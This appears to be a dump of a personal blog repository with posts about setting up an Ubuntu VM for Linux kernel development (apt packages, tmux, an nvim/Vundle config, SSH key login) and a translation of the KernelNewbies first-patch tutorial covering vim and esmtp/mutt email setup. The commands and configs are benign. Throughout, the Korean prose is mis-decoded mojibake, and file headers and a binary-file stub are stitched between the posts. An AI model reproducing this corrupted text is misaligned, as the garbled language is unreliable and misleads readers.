์ฌ์ค ๋๋ ๊ทธ๋ฅ '์ ๋ฆฌ๋ ์ค ์ปค๋ ๊ฐ๋ฐ ํ๊ณ ์ถ๋ค!'๋ก ์์ํ์ฌ, ๊ตฌ๊ธ๋ง ํ์๋ '์๋! ๊ทธ๋ฌ๋๊น ๋จ์ํ ๋น๋ํ๋๊ฒ ๋ง๊ณ ! ๋๋ ์์ ์ ํ๊ณ ๋ญ๊ฐ ์ฝ๋๋ฅผ ์ง๊ณ ์ถ๋จ ๋ง์ด์ผ!' ๋ผ๋ ์๊ฐ์ด ๋ค์๊ณ , '๋๋ผ์ด๋ฒ ๋ถํฐ ๋ถ์์ ์์ํ๋๊ฒ ์ข๋ค'๋ ํํ์ค๋์ ๋ง์์ ๋ฃ๊ณ ๋ฌด์์ USB์ชฝ ์ฝ๋๋ฅผ ์ฝ์ด๋ณด๋ ค ํ๋๋ฐ, ๋ด๊ฐ ๊ฐ์ก๋ ๋ฌผ์์
์ด ์ฝ๋๋ ๋ญํ๋ ์ฝ๋์ง?
์๋ ๋ ๋ญํ๋ ๋์ด์ง? ์ฐ์ด๊ธด ํ๋?
๋๋์ฒด ์ด๋์๋ถํฐ ์ฝ๊ธฐ ์์ํด์ผํ๋๊ฑฐ์ผ?
์๋ค.
์์ง ๊ธฐ๋ฐ ์ง์์ด ๋ถ์กฑํ๊ฒ์ด์๋ค. ๋์ ๊ฒฝ์ฐ๋ ์์ผ๋ก ๊ฐ๊ณ ์๋ ๋ผ์ฆ๋ฒ ๋ฆฌํ์ด๋ฅผ ํ์ฉํ์ฌ ๋๋ผ์ด๋ฒ๋ฅผ ์์ฑํ๊ฑฐ๋ ๊ฐ๊ณ ์๋ ์๋๋ก์ด๋ํฐ์ธ OnePlus 3T๋ฅผ ์จ์ ์ผ๋จ ๋น๋๋ฅผ ์์ํ๊ณ , ๋ช๊ฐ์ง ๋๋ผ์ด๋ฒ๋ ์ง๋ณด๋ฉด์(์์ง ๊ตฌ์ฒด์ ์ธ ๊ณํ์ ์๋ค.) gurugio๋์ ์ปค๋ฆฌํ๋ผ์ ๋ฐ๋ผ๊ฐ๋ณผ๊น ํ๋ค.
ํํํ kotlin๋ ์ข ๊ณต๋ถํด์ผ๊ฒ ๋ค๋ ์๊ฐ์ด ๋ค์๋ค. -.-
์ง๊ธ ๊ฐ์ฅ ์ข์ํ๋ ํ์ด์ฌ์ ์์ฉํ๋ก๊ทธ๋จ ๊ฐ๋ฐ๋ณด๋จ ๋ถ์์ด๋ ์ธ๊ณต์ง๋ฅ์ชฝ์ ๋ง์ด ์ฐ์ด๋๊ฒ ๊ฐ์ผ๋๊น.
File: _posts/2019-10-2-apue68.md
[Binary file]
File: _posts/2019-10-4-linux-setup69.md
layout: post title: Linux setups for kernel development date: 2019-10-4 17:8:00 +0900 categories: [unix, linux]
Linux setups for kernel development
์๋ก
์ต๊ทผ ๋๋ ๋ฆฌ๋ ์ค ์ปค๋ฎค๋ํฐ ๋ฑ์ง์์ ํ๋ํ๋ ์คํ์์ค ๊ฐ๋ฐ์๊ฐ ๋๋๊ฒ์ ๋ชฉํ๋ก ์ด์์ฒด์ ๊ณต๋ถ๋ฅผ ์์ํ๋ค. APUE(Advanced Programming in the UNIX Environment)์ ๊ณต๋ฃก์ฑ (Operating System Concepts)์ฑ ์ ์ฝ๊ธฐ ์์ํ๊ฒ๋ ๊ทธ ๋๋ฌธ์ด๋ค.
์ต๊ทผ ๋๋ฌด ์ด๋ก ๊ณต๋ถ๋ง ํ๊ฒ๊ฐ์ ์ฝ๋๋ฅผ ์์ฑํ๊ณ ์ถ์ด์, ๊ฐ๋ฐ ํ๊ฒฝ์ ๊ตฌ์ถํ๊ณ ์ถ์๋ค.
์ผ๋จ ๋๋ macOS๋ฅผ ์ฌ์ฉํ๊ณ ์๊ธฐ ๋๋ฌธ์ VMware์์ Ubuntu 18.04.3 LTS๋ฅผ ์ค์นํ๋ค. ๊ทธ๋ฌ๋ ๋ฐฐ๊ฒฝ์ด ๋๋ ํ๊ฒฝ์ Ubuntu 18.04.3 LTS ์ด๋ค.
ํ์ฌ ๋ง๋ค์ด์ง ํ๊ฒฝ
- TMUX + SSH + Disabled GUI
- macOS์ ์ ธ์์ ๋ค์ดํฐ๋ธ๋ก ๊ฐ๋ฐํ๋ ๋๋์ ๋ด๊ธฐ ์ํด์
- GUI ๋ฆฌ์์ค๋ฅผ ์ค์ด๊ธฐ ์ํด์
- Nvim + Vundle
- ycm
- auto-pairs
- autocomplpop
- vim-airline
- vim-airline-themes
- vim-easytags
- vim-misc
- ssh ์๋๋ก๊ทธ์ธ
Step-by-step
์ผ๋จ ํ๋ก๊ทธ๋จ ์ค์น๋ถํฐ!
SSH, TMUX, nvim์ ์ค์นํ๊ณ , ํ์์๋ ํจํค์ง๋ค์ ์ญ์ ํ๋ ๋ช ๋ น์ด์ด๋ค.
sudo apt update;sudo apt upgrade;sudo apt install -y git cmake ctags clang openssh-server tmux neovim python3-neovim python3-dev mutt sendmail libncurses5-dev gcc make git exuberant-ctags libssl-dev bison flex libelf-dev bc codespell python3-pip;sudo apt remove -y --purge firefox libreoffice*; sudo apt clean -y;sudo apt autoremove -y;SSH ์๋ฒ ์ค์
๋๋ ๊ธฐ๋ณธ ์ค์ ์ ๊ทธ๋๋ก ์ฌ์ฉํ ๊ฒ์ด๋ผ์ ๊ทธ๋ฅ ๋ค์์ ๋ช ๋ น์ด๋ก ์๋น์ค๋ง ์ผ์ฃผ์๋ค.
sudo service ssh start์์ ๋๊ฐ์ง๋ฅผ ํ๋ฒ์ ์คํ์ํค๋ ๋ช ๋ น์ด์ด๋ค.
sudo apt update;sudo apt upgrade;sudo apt install -y git cmake ctags clang openssh-server tmux neovim python3-neovim python3-dev mutt sendmail libncurses5-dev gcc make git exuberant-ctags libssl-dev bison flex libelf-dev bc codespell python3-pip;sudo apt remove -y --purge firefox libreoffice*; sudo apt clean -y;sudo apt autoremove -y;sudo service ssh start;TMUX ์ฌ์ฉ๋ฒ ์ตํ๊ธฐ
[https://seulcode.tistory.com/144]
์ด๊ณณ์ ์ค๋ช
์ ์ฐธ๊ณ ํ๋ฉด์ ์ ์ฐ๊ณ ์๋ค.
Nvim ์ค์
์คํ์ํค๊ธฐ ํธํ๊ฒ!
์ผ๋จ .bashrc์
alias "vi"="nvim"
alias "vim"="nvim"์ ์ ์ด๋ ์ผ๋ก์จ ๊ธฐ์กด์ vim์ ์คํ์ํค๋ฏ nvim์ ์คํ์ํฌ ์ ์๋๋ก ํ์๋ค.
init.vim ์ค์
macOS์์ ์ฐ๋ init.vim์ ๊ทธ๋๋ก ๋ฃ์ด์ฃผ์๋ค.
colorscheme kalisi
set t_Co=256
set number
set hlsearch
set ruler
set ignorecase
set showcmd
set wildmenu
set nocompatible
set autoindent
set cindent
set laststatus=2
set tabstop=4
set showmatch
set fileencodings=utf-8,euc-kr
set shiftwidth=4
set noexpandtab
set backspace=indent,eol,start
set nowrap
set nobackup
set smartindent
set background=dark
set encoding=utf-8
set nocompatible
filetype off
filetype plugin on
set tags+=/usr/include/tags
set rtp+=~/.config/nvim/bundle/Vundle.vim
call vundle#begin('~/.config/nvim/bundle')
Plugin 'VundleVim/Vundle.vim'
Plugin 'Valloric/YouCompleteMe'
Plugin 'jiangmiao/auto-pairs'
Plugin 'AutoComplPop'
Plugin 'vim-airline/vim-airline'
Plugin 'vim-airline/vim-airline-themes'
Plugin 'xolox/vim-easytags'
Plugin 'vim-misc'
call vundle#end()
autocmd FileType html :AcpDisable
"ycm
let g:ycm_global_ycm_extra_conf = '/Users/yeongyu/.config/nvim/bundle/YouCompleteMe/.ycm_extra_conf.py'
let g:ycm_confirm_extra_conf = 0
let g:ycm_key_list_select_completion = ['', '']
let g:ycm_key_list_previous_completion = ['', '']
let g:ycm_autoclose_preview_window_after_completion = 1
let g:ycm_warning_symbol = '>*'
let g:ycm_server_python_interpreter = '/usr/local/bin/python3'
"AutoComplPop
function! InsertTabWrapper()
let col = col('.') - 1
if !col || getline('.')[col-1]!~'\k'
return "\<TAB>"
else
if pumvisible()
return "\<C-N>"
else
return "\<C-N>\<C-P>"
end
endif
endfunction
"inoremap <tab> <c-r>=InsertTabWrapper()<cr>
hi Pmenu ctermbg=blue
hi PmenuSel ctermbg=yellow ctermfg=black
hi PmenuSbar ctermbg=blue
set tags=./tags,tags์ด๊ฑธ ~/.config/nvim/init.vim ์ ๋ฃ์ด์ฃผ์๋ค.
ํ๋ฌ๊ทธ์ธ ์ค์น: Vundle๋ถํฐ!
git clone https://github.com/VundleVim/Vundle.vim.git ~/.config/nvim/bundle/Vundle.vim์ดํ์, nvim์ ์คํํ๋ค
:PluginInstall
๋ช
๋ น์ด๋ฅผ ์คํํ๋ฉด ํ๋ฌ๊ทธ์ธ๋ค์ด ๋ค ์ค์น๊ฐ ๋๋ค. ๊ทธ๋ฌ๋ ์์ง ํ๋ ๋ฌธ์ ๊ฐ์๋๋ฐ, ๊ทธ๊ฒ์ ๋ฐ๋ก ycm(You Complete Me)๊ฐ ์์ง ์ปดํ์ผ ๋์ง ์์๋ค๋ ์ .
YCM ์ค์
ycm์ด ์ค์น๋ ํด๋์ธ ~/.config/nvim/bundle/YouCompleteMe ์ ๋ค์ด๊ฐ์ ๋ค์์ ๋ช ๋ น์ด๋ก ์คํ์ ํ๋ค.
python3 install.py --clang-completer๊ทธ๋ฌ๋ฉด ์ด์ ๋ฌธ์ ์์ด ์ค์ ์ด ๋ ๋ชจ์ต์ ๋ณผ ์ ์๋ค.
GUI Disable
์ผ๋จ ๋์ ๊ฒฝ์ฐ์๋ 'ํน์๋' GUI๊ฐ ํ์ํ ํ๊ฒฝ์ด ์๊ธธ ์ ์์๊น๋ด (๋์๋ฆฌ์์ ๋ฆฌ๋ ์ค๋ฅผ ์ฌ์ฉํด์ผํ๋ ๊ฒฝ์ฐ๊ฐ ์์ด์) ์๋ฒ ๋ฒ์ ์ผ๋ก ๊ตณ์ด ์ค์นํ์ง ์์๋๋ฐ, ๊ทธ๋ฐ ๋๋ฅผ ์ํด์ ํ์์๋ gui๋ฅผ ๊บผ๋ ํ์๊ฐ ์์๋ค. ์ด ์ญ์ ๋ค์์ ๋ช ๋ น์ด๋ก ๊ฐ๋ฅํ๋ค.
sudo systemctl set-default multi-user.target๋ง์ฝ ํ์ํ ๊ฒฝ์ฐ์๋ ๋ค์์ ๋ช ๋ น์ด๋ก gui๋ฅผ ๋ค์ ํ์ฑํ ํด์ฃผ๋๋ก ํ์.
sudo systemctl set-default graphical.targetSSH ์๋๋ก๊ทธ์ธ
scp ~/.ssh/id_rsa.pub <๊ณ์ ๋ช
>@<ip>:~/.ssh/authorized_keysFile: _posts/2019-10-5-linux70.md
layout: post title: KernelNewbies - FirstKernelFetch date: 2019-10-5 20:24:54 +0900 categories: [unix, linux, development]
Before we begin
๋ณธ ๊ฒ์๊ธ์ https://kernelnewbies.org/FirstKernelPatch ์ ๋ฒ์ญํ ๊ธ์
๋๋ค. ๋ณธ ๋ฒ์ญ๊ธ๊ณผ ๊ด๋ จํ์ฌ ๋ฌธ์ ๊ฐ ์์ผ์๋ค๋ฉด [email protected] ์ผ๋ก ์ด๋ฉ์ผ ๋ถํ๋๋ฆฝ๋๋ค.
This post is a translated post which is at https://kernelnewbies.org/FirstKernelPatch. If you think that there's any problem with this translated post, please contact me via my email .
100% ์ ํํ ๋ฒ์ญ๋ณด๋ค๋ ์ดํดํ๊ธฐ ์ฌ์ด ์์ญ์ ์ถ๊ตฌํ์ต๋๋ค. ์์ด ์ค๋ ฅ์ด ํ๋ฅญํ์ง ์์ ๊ด๊ณ๋ก ๋ค์์ ์ค์ญ์ด ํฌํจ๋์ด ์์ ์ ์์ต๋๋ค. ์ํด๋ถํ๋๋ฆฝ๋๋ค.
์๊ฐ
์ด ํํ ๋ฆฌ์ผ์ ์ด๋ป๊ฒ ์ฒซ ํจ์น๋ฅผ ์ ์ถ ํ ์ ์๋์ง์ ๋ํด ๋ค๋ฃน๋๋ค. ์ด ํํ ๋ฆฌ์ผ์ ์ํด ์ด ์ธ๊ฐ์ง์ค ํ๋๋ฅผ ํด์ผ ํ๋๋ฐ์.
- ๋ฆฌ๋ ์ค๋ฅผ ๊ฐ์๋จธ์ ์์ ๊ตฌ๋ํ๊ธฐ
- ๋ฆฌ๋ ์ค๋ฅผ ๋ค์ดํฐ๋ธ ํ๊ฒฝ์์ ๊ตฌ๋ํ๊ธฐ
- ๋ฆฌ๋ ์ค์์ ๋ฆฌ๋ ์ค๋ฅผ ๊ฐ์๋จธ์ ์ผ๋ก ๊ตฌ๋ํ๊ธฐ
์ ๋ ๋ฆฌ๋
์ค๋ฅผ ๋ค์ดํฐ๋ธ๋ก ๊ตฌ๋ํ๋๊ฒ์ ์ถ์ฒ๋๋ฆฝ๋๋ค. ๋๋ถ๋ถ์ ๋ฆฌ๋
์ค ์ปค๋ ๊ฐ๋ฐ์๋ค์ด ๋ฆฌ๋
์ค๋ฅผ ๋ค์ดํฐ๋ธ๋ก ๊ตฌ๋ํ๊ณ ์๊ณ , ๊ทธ๋์ ์ต์ํด์ง๋๊ฒ์ด ๋ซ์ต๋๋ค.
๋ฆฌ๋
์ค๋ฅผ ๊ฐ์๋จธ์ ์์ ๊ตฌ๋ํ๊ณ ์ถ์ผ์๋ค๋ฉด, ๋ณธ ๊ฒ์๊ธ ์ ์ฐธ๊ณ ํด์ฃผ์ธ์. (์ด ๊ฒ์๊ธ์ ๋ฒ์ญ๋ณธ๋ ์กฐ๋ง๊ฐ ์
๋ก๋ ํ๊ฒ ์ต๋๋ค.)
์์๋์
์ผ ํ ์ ์, ๋งฅ์์๋ ๋ฆฌ๋
์ค๋ฅผ ์ปดํ์ผ ํ ์ ์๋ค๋ ์ ์
๋๋ค. ์๋ํ๋ฉด ๋งฅ์ ํ์ผ์์คํ
์ ๊ธฐ๋ณธ์ ์ผ๋ก ๋์๋ฌธ์๋ฅผ ๊ตฌ๋ถํ์ง ์๊ฑฐ๋ ์.
์ด ํํ ๋ฆฌ์ผ์์๋ ๋ ์๊ฐ Ubuntu ๋ Debian์ ์ฌ์ฉํ๊ณ ์๋ค๊ณ ๊ฐ์ ํฉ๋๋ค. ๋ง์ฝ์ Fedora๋ Suse, Arch, Gentoo ๋ฑ์ ๋ฐฐํฌํ์ ์ฌ์ฉํ๊ณ ๊ณ์๋ค๋ฉด ํจํค์ง ์ค์น ๋ช ๋ น์ด ํน์ ํจํค์ง ์ด๋ฆ์ด ์กฐ๊ธ ๋ค๋ฅผ ์ ์์ต๋๋ค. ์งํํ๋ค๊ฐ ๋งํ์ ๋์์ด ํ์ํ์๋ค๋ฉด irc.oftc.net์ #kernelnewbies ์์ ๋์์ ์์ฒญํ์ธ์. ์ฌ๋ด์ผ๋ก, kernelnewbies์ ๋ด์ฌํ๋์ ์ง์ํ๊ณ ์ถ์ผ์๋ค๋ฉด irc.oftc.net์ #kernel-outreach ์์ ๋ฌผ์์ ๊ตฌํด๋ณด์ธ์.
์ถ๊ฐ์ ์ผ๋ก, irc.oftc.net์ ํตํด ๋ฌผ์์ ๊ตฌํ ๋๋, ๋ค์ด๋ก๋ ์ ํ์ด ์๊ณ , ์์ ์ ์ธ ์ธํฐ๋ท ์ฐ๊ฒฐ์ธ ์ํ์์ ์๋ํ๋๊ฒ์ ๊ฐ๋ ฅํ ๊ถ์ฅํฉ๋๋ค. IRC๋ฅผ ํตํ ํต์ ์ ์ธํฐ๋ท์ด ๊ณ์ ์ง์ฐ๋๊ฑฐ๋ ๋๊ธฐ๊ฒ ๋๋ฉด ์ด๋ ค์ธ์ ์๊ฑฐ๋ ์. ๊ทธ๋์ ์์ ์ ์ธ ์ธํฐ๋ท ์ฐ๊ฒฐ์ ๊ถ์ฅํฉ๋๋ค. ์ฒ์ ์ปค๋์ ๋ค์ด๋ก๋๋ฅผ ํ๋๊ฒ์ 5๊ธฐ๊ฐ๊ฐ ๋๋ ๋ฐ์ดํฐ๋ฅผ ์ฌ์ฉํ ํ ๋ ์ ์ ์ธํฐ๋ท์ด๋ ๋ฌด์ ํ ์ธํฐ๋ท ์๊ธ์ ๋ฅผ ํตํด ๋ค์ด๋ก๋ ํ๋๊ฒ์ ๊ถ์ฅํฉ๋๋ค.
๊ฐ์
์ด ํํ ๋ฆฌ์ผ์์๋ ๋ค์๊ณผ ๊ฐ์๊ฒ๋ค์ ์ด๋ป๊ฒ ํด์ผํ๋์ง ๋ค๋ฃน๋๋ค.
- ๋๊ตฌ ์ค์ ํ๋ ๋ฒ
- ์ปค๋ ํธ๋ฆฌ(์ปค๋ ๊ตฌ์กฐ) ์ดํด๋ณด๊ธฐ
- git ๊ธฐ์ด
- ๋ด ์ปค๋์ ์ ๋ฐ์ดํธ ํ๋ ๋ฐฉ๋ฒ
- ๋๋ผ์ด๋ฒ์ ๋ณ๊ฒฝ์ฌํญ ๋ง๋ค๊ธฐ
- ์ฒซ ํจ์น ๋ง๋ค๊ธฐ
- ์๋ ํจ์น ์ฌ๋ก๋ค์ ์ดํดํ๊ธฐ
- ์์จ ๋๋ผ์ด๋ฒ ์ฐพ๊ธฐ
- ๋ณ๊ฒฝ์ฌํญ ์ปค๋ฐํ๊ธฐ
- ํจ์น ์ ์ถํ๊ธฐ
- ๋ฉํ ์๊ฒ ํจ์น๋ฅผ ๋ณด๋ด๊ธฐ
- ์ด๋ฉ์ผ์ ๋ต์ฅํ๊ธฐ
- ๋ด ํจ์น ์์ ํ๊ธฐ
- ํจ์น๋ชจ์(patchset)์ ์ ์ถํ๊ธฐ
๋๊ตฌ ์ค์ ํ๋ ๋ฒ
์์ํ๊ธฐ ์ํด ๋ช๊ฐ์ง ์ํํธ์จ์ด๋ค์ ๋ค์ด๋ก๋ํ๊ณ ์ค์นํ๊ณ ์ค์ ํ ํ์๊ฐ ์์ต๋๋ค. ์ด ์ค์ ์ง์์ฌํญ๋ฅผ ๋ฐ๋ผํด๋ณด์ธ์.
vim ์ค์
(์ด๋ฏธ ๋ฆฌ๋ ์ค๋ฅผ ์ค์นํ์ จ๊ณ emacs๋ nano๊ฐ์ ์๋ํฐ๋ฅผ ์ฌ์ฉํ๋๋ฐ์ ์ต์ํด์ง์ จ๋ค๋ฉด, ๊ณ์ ๊ทธ ์๋ํฐ๋ฅผ ์ฌ์ฉํ์ ๋ ๋๋ ์ด ๋ชฉ์ฐจ๋ ์๋ตํ์ ๋ ๋ฉ๋๋ค. ๋ค๋ง gvim์ ์ฌ์ฉํ ์ ์์ต๋๋ค.)
ํ
Vim์ ๋ช๊ฐ์ง์ ๋ชจ๋๋ฅผ ๊ฐ๊ณ ์๋ ๊ฐ๋จํ ํ ์คํธ ์๋ํฐ์ ๋๋ค. ์ฒ์์๋ Standard ๋ชจ๋์์ ์์ํ๊ณ , jํค๋ kํค, ํน์ ๋ฐฉํฅํค๋ก ์ปค์๋ฅผ ์์๋๋ก ์ฎ๊ธธ ์ ์๊ณ , hํค๋ lํค, ํน์ ๋ฐฉํฅํค๋ก ์ปค์๋ฅผ ์ผ์ชฝ ์ค๋ฅธ์ชฝ์ผ๋ก ์ฎ๊ธธ ์ ์์ต๋๋ค. iํค๋ฅผ ์ ๋ ฅํจ์ผ๋ก์จ Insert ๋ชจ๋๋ก ๋ค์ด ๊ฐ ์ ์์ต๋๋ค. ์ด์ ํ ์คํธ๋ฅผ ์์ ํ ์ ์์ด์. ESC๋ก ๋ค์ Standard๋ชจ๋๋ก ๋์๊ฐ ์ ์์ต๋๋ค. ํ์ผ์ ์ ์ฅํ๊ธฐ ์ํด์๋, Standard๋ชจ๋๋ก ๋ค์ด๊ฐ์ :w(์ํฐ) ๋ฅผ ํ์ดํํ๋ฉด ๋ฉ๋๋ค. vim์ ๋๊ฐ๊ธฐ ์ํด์๋ :q(์ํฐ) ๋ฅผ ๋๋ฅด๋ฉด ๋๊ณ ์. vim์ ๋ํ์ฌ ๋ ์๊ณ ์ถ๋ค๋ฉด ๊ฝค ์ฌ๋ฐ๋ ๊ฒ์์ธ VIM adventures game์ ํด๋ณด์ธ์.
๋จผ์ , ๋ค์ฌ์ฐ๊ธฐ ๊ธฐ๋ฅ์ ์ผ์ผํฉ๋๋ค. ์ด ๊ธฐ๋ฅ์ ํค๋๊ฒ์ ์ค๋ค์ด ์ฝ๋์ ๋ ผ๋ฆฌ์ ์ธ ํ๋ฆ์ ๋ฐ๋ผ ์๋์ ์ผ๋ก ๋ค์ฌ์ฐ๊ธฐ ๋ ๊ฒ์ ๋ณด์ฅํฉ๋๋ค. ํญํค๋ฅผ ๋๋ฅด๋ ํ์๋ฅผ ์ค์ผ ์ ์๊ฒ ์ฃ ? ํ์ผํ์ ์ ๊ธฐ๋ฐํ์ฌ ์๋ ๋ค์ฌ์ฐ๊ธฐ ๊ธฐ๋ฅ์ ์ผค ์ ์์ต๋๋ค. ๋จผ์ , ๋ค์๊ณผ ๊ฐ์ ๋ช ๋ น์ด๋ฅผ ์ ๋ ฅํ์ธ์.
vim ~/.vimrc๊ทธ๋ฆฌ๊ณ ๋ ์ด๋ฐ ๋ด์ฉ์ ์ถ๊ฐํ์ธ์.
filetype plugin indent on์ถ๊ฐ์ ์ผ๋ก, ๋ฌธ๋ฒ์ ๋ฐ๋ผ ์์ผ๋ก ๊ฐ์กฐ๋ฅผ ํด์ฃผ๋ ๊ธฐ๋ฅ๊ณผ ํ์ผ์ด๋ฆ์ ํฐ๋ฏธ๋์ ํ์ดํ๋ฐ์ ํ์ํ๊ธฐ๋ฅผ ์ํ๋ค๋ฉด ์ด ๋ด์ฉ๋ ์ถ๊ฐํ์ธ์.
syntax on
set title๋๋ถ๋ถ์ ๋ฐฐํฌํ์ vim์ ์ปดํ์ผ ํ๊ธฐ ๋๋ฌธ์ 8 ์คํ์ด์ค ํญ์ด ๊ธฐ๋ณธ๊ฐ์ธ๋ฐ์, ๊ธฐ๋ณธ๊ฐ์ด ์๋ ๊ฒฝ์ฐ์๋ .vimrc ๋ค์์ ๋ด์ฉ๋ ์ถ๊ฐํ์ธ์.
set tabstop=8
set softtabstop=8
set shiftwidth=8
set noexpandtab์ด ๋ด์ฉ๋ค์ ๋ค์์ ๋ช ๋ น์ด๋ฅผ vim์์ ์คํํ๋๊ฒ๊ณผ ๊ฐ์ ๊ธฐ๋ฅ์ ํฉ๋๋ค.
:set tabstop=8 softtabstop=8 shiftwidth=8 noexpandtabVim์ ๊ธฐ๋ณธ ์๋ํฐ๋ก ์ค์ ํ๊ธฐ
nano ๋์ ์ vim์ ๊ธฐ๋ณธ ์๋ํฐ๋ก ์ค์ ํ๊ธฐ ์ํด์๋ ๋ค์์ ๋ช ๋ น์ด๋ฅผ ์คํํด์ผํฉ๋๋ค. ๋ค์ํ๋ฒ ๋งํ์ง๋ง, vim์ด ์๋ ๋ค๋ฅธ ์๋ํฐ๋ฅผ ์ฌ์ฉ์ค์ด์๋ผ๋ฉด ๋ง์ฐฌ๊ฐ์ง๋ก ์๋ตํ์ ๋ ๋ฉ๋๋ค.
sudo update-alternatives --config editor๊ทธ ๋ค์์ /usr/bin/vim.basic์ ๊ธฐ๋ณธ ์๋ํฐ๋ก ์ค์ ํ์๋ฉด ๋ฉ๋๋ค.
์ด๋ฉ์ผ ์ค์ ํ๊ธฐ
๋ฆฌ๋
์ค ์ปค๋ ํจ์น๋ฅผ ๋ณด๋ด๋ ค๋ฉด, ๋ฆฌ๋
์ค ์ปดํจํฐ์์ ์ด๋ฉ์ผ์ ๋ณด๋ผ ์ ์์ด์ผํฉ๋๋ค. ์ด๋ฅผ ์ํด์๋ Esmtp๊ฐ ํ์ํ๋ฐ์. ๋ฆฌ๋
์ค๋ฅผ ๋ค์ดํฐ๋ธ๋ก ์ค์นํ ๋์ ์ง์์ฌํญ ์ ๋ฐ๋ผ ํ์ ๋ค๋ฉด Esmtp์ค์ ๋ ํ์ค ์ ์์ต๋๋ค. (์ด ๊ฒ์๊ธ์ ๋ฒ์ญ๋ณธ๋ ์กฐ๋ง๊ฐ ์
๋ก๋ ํ๊ฒ ์ต๋๋ค.)
Esmtp๋ ๋ฉ์ผ ์ ์ก ์์ด์ ํธ์
๋๋ค. ์ด๋ฉ์ผ์ gmail๊ณผ ๊ฐ์ ์ด๋ฉ์ผ์ ๋ผ์ฐํ
ํ๋ ๊ธฐ๋ฅ์ ํ์ฃ . esmtp์ ์ด๋ค ์ ๋ณด๋ฅผ ์ฃผ์ด์ผํ ์ง ์๊ธฐ ์ํด์๋, ๋ฉ์ผ์๋ฒ ์ค์ ์ ๋ณด์์ผํฉ๋๋ค.
๋ํ ์น์ธ๋ ์ด๋ฉ์ผ ํด๋ผ์ด์ธํธ๋ฅผ ์ค์นํ ํ์๊ฐ ์๋๋ฐ์. ์ด ํ๋ก๊ทธ๋จ์ ์ปค๋ ๋ด์ฌํ๋(outreach-kernel) ๋ฉ์ผ๋ง ๋ฆฌ์คํธ์ ๋ต์ฅํ๋๋ฐ ์ฌ์ฉํ์ธ์. ๋ค์ ์ค๋ช
๋ค์ mutt ์ด๋ฉ์ผ ํด๋ผ์ด์ธํธ๋ฅผ ์ฌ์ฉํ๊ณ ์๋ค๊ณ ๊ฐ์ ํ๊ณ ์์ต๋๋ค๋ง, Evolution๊ณผ ๊ฐ์ ๋ ์ฌ์ด GUI ์ด๋ฉ์ผ ํด๋ผ์ด์ธํธ๋ฅผ ์ฌ์ฉํด๋ ์ข์ต๋๋ค.
Gmail ์ค์
Gmail์์๋ ํฑ๋๋ฐํด ๋ชจ์ ์์ด์ฝ์ ๋๋ฅด๊ณ , "์ค์ " -> "์ ๋ฌ ๋ฐ POP/IMAP" -> "IMAP ์ฌ์ฉ" -> "๋ณ๊ฒฝ์ฌํญ ์ ์ฅ" ์์ผ๋ก ์งํํ์๋ฉด ๋ฉ๋๋ค.
Yahoo ์ค์ ๋ฒ๋ ์์ต๋๋ค๋ง, ํ๊ตญ์๋ Yahoo ์ ์ ๊ฐ ์์ผ๋ฏ๋ก ์๋ตํ์ต๋๋ค.
Esmtp ์ค์ ํ๊ธฐ
์์๋์ค์ : ๋ง์ฝ ๋ค๋ฅธ MTA(๋ฉ์ผ ์ ์ก ์์ด์ ํธ)๊ฐ ์ค์น๋์ด ์๋ค๋ฉด, ๊ตณ์ด esmtp๋ฅผ ์ค์นํ์ค ํ์๋ ์์ต๋๋ค. ๋์ , .muttrc ํ์ผ์์ "sendmail" ์ค์ ๊ฒฝ๋ก๊ฐ ์์ ์ MTA๊ฐ ๋๋๋กํ์ธ์. Mutt๋ ssmtp๋ฅผ ๊ธฐ๋ณธ๊ฐ์ผ๋ก ์ฌ์ฉํ๊ธฐ ๋๋ฌธ์, MTA๊ฐ sstmp๋ผ๋ฉด ๊ทธ ์ค์ ํต์งธ๋ก ๋ ๋ ค๋ฒ๋ฆฌ์ ๋ ๋ฉ๋๋ค.
๋จผ์ , ์ฌ๋ฐ๋ฅธ ๊ถํ๊ณผ ํจ๊ป .esmtprc ํ์ผ์ ์์ฑํฉ์๋ค.
touch ~/.esmtprc
chmod g-rwx ~/.esmtprc
chmod o-rwx ~/.esmtprcํ ๋๋ ํ ๋ฆฌ ์์์๋ .estmprc ํ์ผ์ ์์ ํ์๊ณ , ๋ค์๊ณผ ๊ฐ์ ์ค๋ค์ ์ถ๊ฐํด์ฃผ์ธ์.
identity "[email protected]"
hostname smtp.gmail.com:587
username "[email protected]"
password "ThisIsNotARealPassWord"
starttls required๊ทธ ๋ค์์๋ ํ ๋๋ ํ ๋ฆฌ์ .muttrc ํ์ผ์ ๋ง๋ฌ์ผ๋ก์จ mutt ๋ฉ์ผ ํด๋ผ์ด์ธํธ๋ฅผ ์ค์ ํด์ฃผ์ธ์.
set sendmail="/usr/bin/esmtp"
set envelope_from=yes
set from="Your Name <[email protected]>"
set use_from=yes
set edit_headers=yes์ด๋ฉ์ผ ์ค์ ํ ์คํธํ๊ธฐ
๊ทธ ๋ค์์, mutt์ ํตํ์ฌ ํ ์คํธ ์ด๋ฉ์ผ ๋ฉ์์ง๋ฅผ ๋ ๋ ค๋ด ์๋ค.
mutt์ง๊ธ์ ์ผ๋จ inbox๋ฅผ ๋ง๋ ๋ค๋ ์ง๋ฌธ์ no๋ผ๊ณ ๋ตํ์ธ์. 'm'์ ๋๋ฌ์ ์ ๋ฉ์์ง๋ฅผ ์์ฑํ์ธ์. ํ
์คํธ ๋ฉ์์ง๋ฅผ ๋ณด๋ผ ์ด๋ฉ์ผ ์ฃผ์๋ฅผ ์ ์ผ์ธ์. ์ ๋ชฉ์ ์์์ ์์ฑํ๊ณ ์ถ์๋๋ก ์์ฑํ์ธ์. body์์ ๋ฉ์์ง๋ฅผ ์ ๊ณ ์ ์ฅํ์ ๋ค์ ๋๊ฐ์ธ์. ๋ฉ์์ง๋ฅผ ๋ณด๋ผ๋๋ 'y'ํค๋ฅผ ๋๋ฅด์๋ฉด ๋๊ณ , ์์ ํ๊ณ ์ถ๋ค๋ฉด 'e'ํค๋ฅผ ๋๋ฅด์๋ฉด ๋ฉ๋๋ค. ๋ฉ์์ง ์ ์ก์ ์ค๋จํ๋ ค๋ฉด 'q'๋ฅผ ๋๋ฅด์๋ฉด๋ฉ๋๋ค.
์ด๋ฉ์ผ์ ๋ฐ์๋์ง ํ์ธํด๋ณด์ธ์.
๋ง์ฝ mutt๊ฐ ์๋๋์ง ์๋๋ค๋ฉด ๋ค์์ ๋ช
๋ น์ด๋ฅผ ์๋ํด๋ณด์ธ์.
mutt -d 2์ด ๋ช ๋ น์ด๋ ๋ฌธ์ ์ฐพ๊ธฐ๋ฅผ ๋์์ฃผ๋ .muttdebug ๋ผ๋ ํ์ผ์ ๋ง๋ค๊ฒ์ ๋๋ค.
